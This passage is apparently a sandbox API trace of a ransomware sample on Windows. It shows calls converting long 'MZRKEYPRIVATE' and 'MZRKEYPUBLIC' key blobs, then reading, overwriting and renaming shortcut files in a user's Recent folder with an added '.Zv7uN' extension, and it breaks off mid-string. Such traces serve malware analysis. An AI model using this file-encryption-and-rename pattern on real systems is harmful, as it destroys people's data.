5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.796] GetCurrentThreadId () returned 0xa30 [0079.796] GetCurrentThreadId () returned 0xa30 [0079.796] GetCurrentThreadId () returned 0xa30 [0079.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.797] GetCurrentThreadId () returned 0xa30 [0079.797] GetCurrentThreadId () returned 0xa30 [0079.797] GetCurrentThreadId () returned 0xa30 [0079.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6lsyG9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6lsyg9.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.797] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.797] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.797] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x2018 [0079.798] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.798] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x2018, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x2018, lpOverlapped=0x0) returned 1 [0079.800] CloseHandle (hObject=0x124) returned 1 [0079.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6lsyG9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6lsyg9.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.802] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x2018, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x2018, lpOverlapped=0x0) returned 1 [0079.804] CloseHandle (hObject=0x124) returned 1 [0079.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6lsyG9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6lsyg9.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6lsyG9.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6lsyg9.lnk.zv7un")) returned 1 [0079.810] GetCurrentThreadId () returned 0xa30 [0079.810] GetCurrentThreadId () returned 0xa30 [0079.810] GetCurrentThreadId () returned 0xa30 [0079.810] GetCurrentThreadId () returned 0xa30 [0079.810] GetCurrentThreadId () returned 0xa30 [0079.810] GetCurrentThreadId () returned 0xa30 [0079.810] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2c1ecc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c1ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2c44e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="7lZfRGVx.lnk", cAlternateFileName="")) returned 1 [0079.810] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.810] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7lZfRGVx.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7lzfrgvx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2c1ecc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c1ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2c44e20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe66)) returned 1 [0079.810] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7lZfRGVx.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7lzfrgvx.lnk")) returned 0x20 [0079.810] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7lZfRGVx.lnk", dwFileAttributes=0x80) returned 1 [0079.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7f